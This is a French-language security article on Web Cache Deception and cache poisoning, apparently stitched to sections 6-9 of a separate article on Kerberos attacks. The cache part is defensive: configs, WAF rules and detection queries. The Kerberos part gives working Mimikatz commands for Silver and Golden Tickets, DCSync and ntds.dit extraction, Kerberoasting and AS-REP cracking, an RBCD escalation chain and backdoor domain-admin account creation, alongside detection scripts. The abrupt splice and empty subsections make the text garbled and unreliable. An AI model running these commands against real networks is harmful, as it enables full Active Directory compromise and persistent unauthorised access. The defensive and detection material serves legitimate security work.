WebCache Deception & cache poisoning

Résumé exécutif

Les attaques Web Cache Deception (WCD) et le cache poisoning ciblent les mécanismes de caching (CDN, reverse proxies, caches applicatifs) pour voler des données sensibles ou injecter du contenu malveillant. En manipulant les URLs, les headers ou les règles de cache, les attaquants peuvent tromper le cache en stockant des réponses privées ou empoisonner le cache pour servir du contenu altéré à d’autres utilisateurs. Cet article analyse les techniques WCD et cache poisoning, présente les surfaces d’attaque (CDN, Varnish, Nginx, CloudFront, Cloudflare), et propose des stratégies de mitigation : contrôles applicatifs, headers HTTP, règles WAF, validation des requêtes et monitoring. L’objectif est de fournir des recommandations opérationnelles aux équipes web, DevSecOps et SecOps.

Comprendre Web Cache Deception (WCD)

La Web Cache Deception consiste à faire en sorte qu’une réponse privée (ex : profil utilisateur) soit mise en cache et servie à d’autres utilisateurs. L’attaquant exploite des règles de cache permissives en jouant sur les extensions d’URL ou les paramètres.

Exemple

1. L’utilisateur authentifié visite https://example.com/account. 2. L’attaquant le redirige vers https://example.com/account/evil.js. 3. L’application répond avec le contenu du compte, mais le cache (CDN) voit l’extension .js et considère la réponse cacheable. 4. La réponse est mise en cache. 5. L’attaquant request https://example.com/account/evil.js sans être authentifié et reçoit la réponse cached avec les données.

Conditions

• Cache basé sur le path plutôt que l’authent/authz.
• Absence de headers de cache corrects (Cache-Control: private).
• Comportement de fallback (rewrite).

Cache poisoning

Le cache poisoning consiste à injecter du contenu malveillant dans le cache. Tactiques :

• Manipuler headers (Host, X-Forwarded-Host) pour servir phishing.
• Utiliser des query params pour empoisonner (Key confusion).
• Exploiter Vary, Accept headers.
• HTTP Request Smuggling.

Impacts

• Distribution de contenu malveillant (phishing).
• Exfiltration (XSS dans cache).
• Collapse DoS (serve invalid).

Surfaces d’attaque

• CDN : CloudFront, Cloudflare, Akamai.
• Reverse proxies : Nginx, Varnish, HAProxy.
• Application caches : Rails ActionController, Spring Cache.
• Service Worker.

Mitigations : headers HTTP

• Cache-Control: private, no-store, no-cache.
• Vary: Authorization (attention performance).
• Set-Cookie => caches doivent respecter.
• Content-Disposition: attachment.
• X-Frame-Options, Content-Security-Policy.
• Surrogate-Control.

Contrôles applicatifs

• Ne jamais servir contenu sensible sur URLs cacheables (extensions statiques).
• Séparer domaines static/dynamic (static.example.com).
• Validation path (/account vs /account/evil.js).
• Paramètres Cache busting.

Règles WAF

• Bloquer patterns WCD : /account/.css.
• Inspecter headers X-Original-URL.
• Ajouter règle : if request contains /account/ and endswith .js -> block.
• Règle rate limit sur variations path.

location /account/ {
    proxynocache 1;
    proxycachebypass 1;
}

curl -I https://example.com/account/anything.css -H 'Cookie: session=abcd'

CdnLogs
| where ResponseCode == 200 and ResponseHeader['Cache-Control'] !contains 'private'
| where RequestPath hasany ('/account','/profile')

index=cdn path="/account/.css" status=200 | stats count by clientip

{
  "timestamp": "2024-05-03T09:01:00Z",
  "clientip": "203.0.113.5",
  "path": "/account/evil.js",
  "status": 200,
  "cachestatus": "HIT",
  "cachecontrol": "max-age=3600",
  "useragent": "Mozilla",
  "cookiepresent": true
}

async function handleRequest(request) {
  const url = new URL(request.url);
  if (url.pathname.startsWith('/account/') && url.pathname.includes('.')) {
    return new Response('Forbidden', { status: 403 });
  }
  return fetch(request);
}

SELECT clientip, requesturi, status, cachestatus
FROM cdnlogs
WHERE requesturi LIKE '%/account/%'
  AND requesturi LIKE '%.css%'
  AND status = 200
  AND cachestatus = 'HIT'
ORDER BY time DESC
LIMIT 100;

location / {
  if ($httpcookie != "") {
    set $cachebypass 1;
  }
  proxynocache $cachebypass;
  proxycachebypass $cachebypass;
}

if (req.http.Authorization || req.http.Cookie) {
  return (pass);
}

from cloudfront import CloudFrontClient
cf = CloudFrontClient()
paths = ['/account/', '/profile/']
cf.createinvalidation(paths)

• Regex: /account/.\.(css|js|png|jpg)$.
• Alert if status=200 and cachestatus=HIT.

#!/bin/bash
URLS=("/account/profile.css" "/profile/1.js")
for url in "${URLS[@]}"; do
  curl -is -H "Cookie: session=abc" "https://example.com${url}" | grep -E "Cache-Control|Set-Cookie|Cache"
done

if (http.cookie contains "session=") {
  set cachettl = 0;
}

Observabilité multi-layer (détail)

• Browser -> send beacon when unexpected content.
• Client library instrumentation.
• Real user monitoring (RUM).

Machine learning advanced features

• pathsimilarity.
• entropy of query.
• cookiepresence.
• cachestatus transitions (MISS -> HIT).

• Use AWS Lambda to call CreateInvalidation.
• Use Cloudflare API /purgecache.
• Logging actions (auditable).

Security champions responsibilities

• Validate new caching rules.
• Train peers.

Program of continuous testing

• Use synthetic users with cookies to test WCD.
• Compare responses (should not be cache hit).

Data governance

• Tag data fields (confidential).
• Use tags to drive caching decisions.

Observabilité for host header

• Compare Host header vs :authority.
• Alert on mismatch.

Tools open source

• CacheGuard (scripts).
• CF-Analyzer.

Policy example (internal)

"Toute réponse contenant des données utilisateur authentifiées doit inclure Cache-Control: private, no-store. Les proxies doivent bypasser le cache dès qu'un header d'authentification ou un cookie est présent."

Education / documentation

• Confluence page "Cache Safety".
• Video training.

Future-proofing

• Monitor upcoming standards (Cache Digests).
• Evaluate CDN features (Custom TTL).

Résumé final

Annexe finale

Table de suivi des actions

| Action | Responsable | Deadline | Statut | |--------|-------------|----------|--------| | Audit headers | AppSec | 2024-07-15 | En cours | | Config CDN bypass auth | Platform | 2024-07-30 | Planifié | | WAF rule WCD | SecOps | 2024-08-01 | Complété | | Automation purge | Platform | 2024-08-15 | En cours | | Training session | AppSec | 2024-08-20 | Planifié |

KPI dashboard (exemple)

• cachesensitivehitratio: 0%.
• wcdattemptsblocked: 12 (mois).
• timetopurgeavg: 4 minutes.
• coverageheaders: 95%.

• Valider Host.
• Config servername.
• WAF : block host anomalies.

Logs analytiques

• Requête 200 avec cachestatus=HIT et cookiepresent -> alarme.
• Path contenant %2f.
• Variation de file extension.

Case d'école

• E-commerce : pages order -> WCD; fix: Cache-Control, domain split.
• Banque : host header injection -> phishing; fix: strict host validation.

Automation WCD-tests

• Tool executes GET /{sensitive}/{suffix}.
• Checks cache_status.
• Alerts.

Observabilité : Splunk dashboard

• Panel 1: Table suspicious requests.
• Panel 2: Graph WCD attempts.
• Panel 3: Response header compliance.

ML: training dataset

• Collect 6 mois logs.
• Label known WCD.
• Train logistic regression.
• Evaluate.

Response integration with SOAR

• Playbook: detection -> purge -> open ticket -> notify -> close.
• Ensure rollback friendly.

Compliance alignement

• Document controls pour audits SOC2.

Conclusion finale reforcée

Annexes finales (ultimes)

Tableau d’action prioritaire

| Priorité | Initiative | Bénéfices | |----------|------------|-----------| | Haute | Déploiement headers Cache-Control automatiques | Empêcher cache de réponses sensibles | | Haute | Configuration CDN bypass sur paths auth | Empêcher WCD | | Moyenne | Automatise purge via SOAR | Réduire temps de réponse | | Moyenne | ML détection anomalies | Détection proactive | | Basse | Formation continue | Culture sécurité |

Checklist d’audit trimestriel

• [ ] Les endpoints sensibles répondent avec private, no-store.
• [ ] Les logs montrent 0 HIT sur /account.
• [ ] Les règles WAF sont actives et testées.
• [ ] Les scripts de purge fonctionnent.
• [ ] Les tests WCD automatisés sont passés.
• [ ] Les dashboards sont à jour.

Observabilité : notifications

• Slack channel #cache-alerts.
• PagerDuty incidents.
• Email DPO si PII.

Rétrospective post-incident

1. Qu’est-ce qui a fonctionné ? 2. Qu’est-ce qui a échoué ? 3. Actions correctives. 4. Mise à jour documentation.

Plan de communication externe

• Messages aux clients (si impact).
• FAQ.
• Coordination PR/legal.

Indicateurs de succès

• 0 incidents WCD.
• Temps purge < 10 min.
• Training complété (100%).

Conclusion finale

Message final

Maintenir la sécurité des caches nécessite une vigilance constante, une collaboration inter-équipes et un cycle d’amélioration continue. En testant régulièrement, en surveillant la configuration et en automatisant la réponse, vous anticipez les attaques, protégez vos utilisateurs et renforcez votre posture de sécurité. Continuez à mesurer, documenter, partager et ajuster : la sécurité des caches est un effort quotidien qui protège vos utilisateurs et votre marque. Restez alignés, restez curieux, restez engagés : c’est ainsi que l’on conserve une longueur d’avance sur les attaques Web Cache Deception et cache poisoning. Inscrire ces pratiques dans vos processus, vos outillages et votre culture garantit que chaque évolution renforce la résilience de votre architecture face aux détournements de cache. Continuez à auditer, à automatiser, à tester et à communiquer : la vigilance collective demeure votre meilleure défense. Toujours mesurer, toujours corriger, toujours progresser. Sécurité, résilience, confiance, ensemble. Toujours vigilants. Toujours prêts. Sécurité.

6. Silver Ticket : falsification de tickets de service

6.1 Principe et mécanisme

Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.

Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.

6.2 Création et injection de Silver Tickets

# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt

# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt

# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt

# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server02.domain.local /service:host /rc4:computerhash /ptt

6.3 Cas d'usage spécifiques par service

6.4 Détection des Silver Tickets

# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings > 
Local Policies > Security Options > 
"Network security: PAC validation" = Enabled

# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} | 
    Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)

# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
    $accessTime = $_.TimeCreated
    $user = $_.Properties[5].Value
    $matchingKDC = $kdcEvents | Where-Object {
        $_.Properties[0].Value -eq $user -and 
        [Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
    }
    if (-not $matchingKDC) {
        Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
    }
}

7. Golden Ticket : compromission totale du domaine

7.1 Principe et impact

Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).

Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).

7.2 Extraction du hash krbtgt

L'obtention du hash krbtgt nécessite généralement des privilèges d'administrateur de domaine ou l'accès physique/système à un contrôleur de domaine. Plusieurs techniques permettent cette extraction :

# DCSync du compte krbtgt
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# DCSync de tous les comptes (dump complet)
mimikatz # lsadump::dcsync /domain:domain.local /all /csv

# DCSync depuis Linux avec impacket
python3 secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Création d'une copie shadow avec ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds_backup" q q

# Extraction avec secretsdump (impacket)
python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Extraction avec DSInternals (PowerShell)
$key = Get-BootKey -SystemHivePath 'C:\temp\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\temp\ntds.dit' -BootKey $key | 
    Where-Object {$_.SamAccountName -eq 'krbtgt'}

7.3 Forge et utilisation du Golden Ticket

# Golden Ticket basique (RC4)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ptt

# Golden Ticket avec AES256 (plus discret)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /aes256:krbtgt_aes256_key /ptt

# Golden Ticket avec durée personnalisée (10 ans)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /endin:5256000 /renewmax:5256000 /ptt

# Golden Ticket pour utilisateur fictif
kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /id:500 /groups:512,513,518,519,520 /ptt

# Exportation du ticket vers fichier
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ticket:golden.kirbi

# Injection du ticket dans la session
mimikatz # kerberos::ptt golden.kirbi

# Vérification du ticket injecté
klist

# Utilisation du ticket pour accès DC
dir \\dc01.domain.local\C$
psexec.exe \\dc01.domain.local cmd

# Création de compte backdoor
net user backdoor P@ssw0rd! /add /domain
net group "Domain Admins" backdoor /add /domain

# DCSync pour maintenir la persistance
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

7.4 Détection avancée des Golden Tickets

# Script de détection des anomalies Kerberos
# Recherche des authentifications sans événement TGT correspondant
$endTime = Get-Date
$startTime = $endTime.AddHours(-24)

$logons = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=$startTime
} | Where-Object {
    $_.Properties[8].Value -eq 3 -and # Logon Type 3
    $_.Properties[9].Value -match 'Kerberos'
}

$tgtRequests = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4768
    StartTime=$startTime
} | Group-Object {$_.Properties[0].Value} -AsHashTable

foreach ($logon in $logons) {
    $user = $logon.Properties[5].Value
    $time = $logon.TimeCreated
    
    if (-not $tgtRequests.ContainsKey($user)) {
        Write-Warning "Golden Ticket suspect: $user à $time (aucun TGT)"
    }
}

# Détection de tickets avec durée de vie anormale
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768} |
    Where-Object {
        $ticketLifetime = $_.Properties[5].Value
        $ticketLifetime -gt 43200 # > 12 heures
    } | ForEach-Object {
        Write-Warning "Ticket avec durée anormale: $($_.Properties[0].Value)"
    }

8. Chaîne d'attaque complète : scénario réel

8.1 Scénario : De l'utilisateur standard au Domain Admin

Examinons une chaîne d'attaque complète illustrant comment un attaquant peut progresser depuis un compte utilisateur standard jusqu'à la compromission totale du domaine en exploitant les vulnérabilités Kerberos.

Phase 1 : Reconnaissance initiale (J+0, H+0)

# Compromission initiale : phishing avec accès VPN
# Énumération du domaine avec PowerView
Import-Module PowerView.ps1

# Identification du domaine et des DCs
Get-Domain
Get-DomainController

# Recherche de comptes sans préauthentification
Get-DomainUser -PreauthNotRequired | Select samaccountname,description

# Sortie : svc_reporting (compte de service legacy)

# Énumération des SPNs
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname

# Sortie : 
# - svc_sql : MSSQLSvc/SQL01.corp.local:1433
# - svc_web : HTTP/webapp.corp.local

Phase 2 : AS-REP Roasting (J+0, H+1)

# Extraction du hash AS-REP pour svc_reporting
.\Rubeus.exe asreproast /user:svc_reporting /format:hashcat /nowrap

# Hash obtenu : [email protected]:8a3c...

# Craquage avec Hashcat
hashcat -m 18200 asrep.hash rockyou.txt -r best64.rule

# Mot de passe craqué en 45 minutes : "Reporting2019!"

# Validation des accès
net use \\dc01.corp.local\IPC$ /user:corp\svc_reporting Reporting2019!

Phase 3 : Kerberoasting et compromission de service (J+0, H+2)

# Avec le compte svc_reporting, effectuer du Kerberoasting
.\Rubeus.exe kerberoast /user:svc_sql /nowrap

# Hash obtenu pour svc_sql (RC4)
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local:1433*$7f2a...

# Craquage (6 heures avec GPU)
hashcat -m 13100 tgs.hash rockyou.txt -r best64.rule

# Mot de passe : "SqlService123"

# Énumération des privilèges de svc_sql
Get-DomainUser svc_sql -Properties memberof

# Découverte : membre du groupe "SQL Admins" 
# Ce groupe a GenericAll sur le groupe "Server Operators"

Phase 4 : Élévation via délégation RBCD (J+0, H+8)

# Vérification des permissions avec svc_sql
Get-DomainObjectAcl -Identity "DC01$" | ? {
    $_.SecurityIdentifier -eq (Get-DomainUser svc_sql).objectsid
}

# Découverte : WriteProperty sur msDS-AllowedToActOnBehalfOfOtherIdentity

# Création d'un compte machine contrôlé
Import-Module Powermad
$password = ConvertTo-SecureString 'AttackerP@ss123!' -AsPlainText -Force
New-MachineAccount -MachineAccount EVILCOMPUTER -Password $password

# Configuration RBCD sur DC01
$ComputerSid = Get-DomainComputer EVILCOMPUTER -Properties objectsid | 
    Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC01 | Set-DomainObject -Set @{
    'msds-allowedtoactonbehalfofotheridentity'=$SDBytes
}

# Exploitation S4U pour obtenir ticket Administrator vers DC01
.\Rubeus.exe s4u /user:EVILCOMPUTER$ /rc4:computerhash \
    /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local /ptt

# Accès au DC comme Administrator
dir \\dc01.corp.local\C$

Phase 5 : Extraction krbtgt et Golden Ticket (J+0, H+10)

# DCSync depuis le DC compromis
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# Hash krbtgt obtenu :
# NTLM: 8a3c5f6e9b2d1a4c7e8f9a0b1c2d3e4f
# AES256: 2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f...

# Obtention du SID du domaine
whoami /user
# S-1-5-21-1234567890-1234567890-1234567890

# Création du Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /aes256:2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f... \
    /endin:5256000 /renewmax:5256000 /ptt

# Validation : accès total au domaine
net group "Domain Admins" /domain
psexec.exe \\dc01.corp.local cmd

# Établissement de persistance multiple
# 1. Création de compte backdoor
net user h4ck3r Sup3rS3cr3t! /add /domain
net group "Domain Admins" h4ck3r /add /domain

# 2. Modification de la GPO par défaut pour ajout de tâche planifiée
# 3. Création de SPN caché pour Kerberoasting personnel
# 4. Exportation de tous les hashes du domaine

8.2 Timeline et indicateurs de compromission

9. Architecture de détection et réponse

9.1 Stack de détection recommandée

Une détection efficace des attaques Kerberos nécessite une approche en profondeur combinant plusieurs technologies et méthodes.

# Détection AS-REP Roasting
index=windows sourcetype=WinEventLog:Security EventCode=4768 Pre_Authentication_Type=0
| stats count values(src_ip) as sources by user
| where count > 5
| table user, count, sources

# Détection Kerberoasting (multiples TGS-REQ avec RC4)
index=windows sourcetype=WinEventLog:Security EventCode=4769 Ticket_Encryption_Type=0x17
| stats dc(Service_Name) as unique_services count by src_ip user
| where unique_services > 10 OR count > 20

# Détection DCSync
index=windows sourcetype=WinEventLog:Security EventCode=4662 
    Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR 
    Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where user!="*$" AND user!="NT AUTHORITY\\SYSTEM"
| table _time, user, dest, Object_Name

# Détection Golden Ticket (authent sans TGT)
index=windows sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=3 Authentication_Package=Kerberos
| join type=left user _time [
    search index=windows sourcetype=WinEventLog:Security EventCode=4768
    | eval time_window=_time
    | eval user_tgt=user
]
| where isnull(user_tgt)
| stats count by user, src_ip, dest

9.2 Playbook de réponse aux incidents

# Script de réponse d'urgence - Reset krbtgt
# À exécuter depuis un DC avec DA privileges

# Phase 1 : Collecte d'informations
$domain = Get-ADDomain
$krbtgt = Get-ADUser krbtgt -Properties PasswordLastSet, msDS-KeyVersionNumber

Write-Host "[+] Domaine: $($domain.DNSRoot)"
Write-Host "[+] Dernier changement mot de passe krbtgt: $($krbtgt.PasswordLastSet)"
Write-Host "[+] Version clé actuelle: $($krbtgt.'msDS-KeyVersionNumber')"

# Phase 2 : Premier reset
Write-Host "[!] Premier reset du compte krbtgt..."
$newPassword = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword -Reset

Write-Host "[+] Premier reset effectué. Attendre 24h avant le second reset."
Write-Host "[!] Vérifier la réplication AD avant de continuer."

# Vérification de la réplication
repadmin /showrepl

# Phase 3 : Après 24h - Second reset
Write-Host "[!] Second reset du compte krbtgt..."
$newPassword2 = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword2 -Reset

Write-Host "[+] Reset krbtgt terminé. Tous les tickets Kerberos précédents sont invalidés."

# Phase 4 : Actions post-reset
Write-Host "[!] Actions recommandées:"
Write-Host "1. Forcer la reconnexion de tous les utilisateurs"
Write-Host "2. Redémarrer tous les services utilisant des comptes de service"
Write-Host "3. Vérifier les GPOs et objets AD suspects"
Write-Host "4. Auditer les comptes créés récemment"

# Audit rapide
Get-ADUser -Filter {Created -gt (Get-Date).AddDays(-7)} | 
    Select Name, Created, Enabled